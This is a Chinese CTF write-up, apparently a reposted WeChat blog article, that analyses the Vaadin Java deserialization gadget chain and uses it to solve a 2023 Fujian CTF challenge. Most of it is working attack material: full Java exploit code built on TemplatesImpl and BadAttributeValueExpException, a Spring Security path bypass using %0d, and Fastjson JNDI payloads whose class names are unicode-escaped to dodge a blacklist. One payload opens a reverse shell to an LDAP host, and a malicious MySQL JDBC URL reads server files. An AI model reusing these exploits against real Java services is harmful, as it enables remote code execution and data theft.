0x00 前言
新年快乐师傅们,过完年了又得开工了,本次分享的内容为 从CTF中学习Vaadin gadgets,本篇文章原文放到了我的博客里头,博客链接为 https://zjackky.github.io/,希望大家能够一篇文章+一个题搞定Vaadin链
0x01 Vaadin链简介
Vaadin 可以理解为是一个平台吧,有UI,了解即可,Vaadin 的反序列化调用链其实蛮简单的,就是反射调用getter方法罢了,依赖如下
vaadin-server : 7.7.14
vaadin-shared : 7.7.14
0x02 漏洞类分析
NestedMethodProperty
com.vaadin.data.util.NestedMethodProperty
类可以理解为是一个封装属性方法的类,其构造方法如下
接收两个参数,一个是实例化的对象,一个是属性值。然后调用初始化方法将调用initialize方法获取实例类中的相关信息存放在成员变量中。跟进该初始化方法
发现已经获取到了我们传入的属性值的getter方法
并且进行对象属性的一些赋值封装
然后这个NestedMethodProperty类存在getValue方法
将我们上述封装的getMethods这个方法数组类进行遍历且调用里面的属性的方法名
因此这个类又是可以触发TemplatesImpl的利用方式,所以找哪个类存在 能够触发NestedMethodProperty#getvalue()去调用getter方法,于是找到下面的类
PropertysetItem
触发类是
com.vaadin.data.util.PropertysetItem
这个类实现了几个接口,初始化后能够对自己的map属性,list属性进行操作,数据存放在成员变量 map 中,想要获取相应属性时,则调用getItemProperty方法在 map 中获取,需要传入一个对象
而这个类重点则是他存在toString方法
从list中获取值然后去调用getValue
那么这个list怎么赋值呢,可以关注addItemProperty
方法
将我们传入的id值传入,断点看下这个getItemPropertyIds的返回值是什么
其实可以发现他返回的就是我们list的内容
那之后取出list的内容后再从map中去找对应的值去调用我们的getvalue方法
那么现在目的就是
-
list有一个需要调用他的getter方法的id
-
map也需要一个调用他的getter方法的id并且取出来的值为NestedMethodProperty类来调用他的getvalue方法
最后的问题就是如何在反序列化的时候调用任意类的Tostring方法了,而在我们的CC5当中就接触过这个类叫BadAttributeValueExpException,他的反序列化是可以调用任意类的ToString方法的,于是参考SU18师傅的EXP成功弹出计算机
package Vaadin;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Vaadin_Ser {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
byte[] payloads = Files.readAllBytes(Paths.get("D:\Security-Testing\Java-Sec\Java-Sec-Payload\target\classes\Evail_Class\Calc_Ab.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
setFieldValue(templates, "_name", "zjacky");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(templates, "outputProperties");
pItem.addItemProperty("outputProperties", nmprop);
// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, pItem);
// serialize(exception);
unserialize("ser.bin");
}
}
整个链代码量非常少,其实还是很简单的自己动手跟下即可非常容易理解
0x03 CTFer
这里学完这个之后来以2023年福建省赛黑盾杯的初赛babyja来进行案例分析,考点如下(其实这个题很多解法)
-
Fastjson 黑名单绕过 or 不出网应用
-
Spring Security 权限绕过
-
Vaadin反序列化链
-
C3P0二次反序列化
0x04 目录结构
查看pom.xml
其实意图就很明显三个组件都能相互配合(马后炮)
并且存在Spring Security的一个权限鉴权,先查看下AuthConfig.class 发现是用regexMatchers来进行正则匹配路径,去查看下spring Security的版本为 5.6.3 ,而这里由于设计问题看他的控制器是随便什么都可以进入逻辑 相当于admin/* ,所以完全符合漏洞版本所以可以使用%0d绕过
直接访问302
权限绕过后返回WellDone
当然给出账号密码也是可以登录获取Session的
获取到
JSESSIONID=FC8D9FE4BBDAE0BC554377DB1CAFCBE8
发现成功执行
再来查看控制器
可以发现传入data这个json字符串然后进行鉴权并且给到JSON.parse解析,其实可以想到绕过黑名单+fastjson打C3p0不出网这个思路,也可以直接打jndi注入吧,跟进SecurityCheck
可以想到用16进制或者unicode来进行绕过黑名单,所以有以下打法
0x05 JNDI注入(出网+jdk低版本)
本地用的是jdk8u65
POST /admin/user%0d HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
data={{urlenc(eyJAdHlwZSI6Ilx1MDA2M1x1MDA2Zlx1MDA2ZFx1MDAyZVx1MDA3M1x1MDA3NVx1MDA2ZVx1MDAyZVx1MDA3Mlx1MDA2Zlx1MDA3N1x1MDA3M1x1MDA2NVx1MDA3NFx1MDAyZVx1MDA0YVx1MDA2NFx1MDA2Mlx1MDA2M1x1MDA1Mlx1MDA2Zlx1MDA3N1x1MDA1M1x1MDA2NVx1MDA3NFx1MDA0OVx1MDA2ZFx1MDA3MFx1MDA2YyIsImRhdGFTb3VyY2VOYW1lIjoibGRhcDovLzEwNy4xNzQuMjI4Ljc5OjEzODkvQmFzaWMvQ29tbWFuZC9jYWxjIiwiYXV0b0NvbW1pdCI6dHJ1ZX0=)}}
直接反弹shell即可
{"@type":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c","dataSourceName":"ldap://xxx:1389/Basic/ReverseShell/xxx/7979","autoCommit":true}
当然除了直接打1.2.24的JNDI 也可以打C3P0的JNDI,只是需要用unicode或者16进制去绕过即可
{"@type":"com.mchange.v2.c3p0.u004au006eu0064u0069u0052u0065u0066u0043u006fu006eu006eu0065u0063u0074u0069u006fu006eu0050u006fu006fu006cu0044u0061u0074u0061u0053u006fu0075u0072u0063u0065","u004au006eu0064u0069u004eu0061u006du0065":"ldap://127.0.0.1:1389/Basic/Command/calc", "LoginTimeout":0}
0x06 不出网打二次反序列化
C3P0打二次反序列化, 可以看到该题存在Vaadin的依赖,所以可以通过C3P0打Vaadin的反序列化,但是由于他把TemplatesImpl的16进制也给ban了,这样子我们就没办法用C3P0打二次反序列化来使用TemplatesImpl加载字节码了
所以只能另从别的思路来看,从始至终我们并没有去讨论题目的bean
目录,现在来看下
一个接口
可以发现这里存在getConnection方法,而在Vaadin分析中可以得知,其链子一部分是可以调用任意属性的getter方法的,所以在这里思路就是:调用getConnection方法来控制JDBC来连恶意的mysql从而读取flag,恶意的mysql为https://github.com/fnmsd/MySQL_Fake_Server
根据Vaadin的exp来修改下即可,最后的exp为
import com.ctf.bean.MyBean;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class Vaadin_Ser {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] ser(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeObject(obj);
out.flush();
return bos.toByteArray();
}
public static String bytesToHexString(byte[] bArray) {
StringBuffer sb = new StringBuffer(bArray.length);
for (byte b : bArray) {
String sTemp = Integer.toHexString(255 & b);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
public static void main(String[] args) throws Exception {
MyBean myBean =new MyBean();
myBean.setDatabase("mysql://xxx:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#");
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(myBean, "Connection");
pItem.addItemProperty("Connection", nmprop);
// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, pItem);
// 序列化并输出 HEX 序列化结果
System.out.println(bytesToHexString(ser(exception)));
}
}
这里有一个很重要的东西,就是包名一定要得对(CTFer的痛)
mysql://1.1.1.1:3306/test?user=fileread_file:///.&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#
mysql://1.1.1.1:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#
原文始发于微信公众号(Poker安全):CTFer谈Vaadin链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论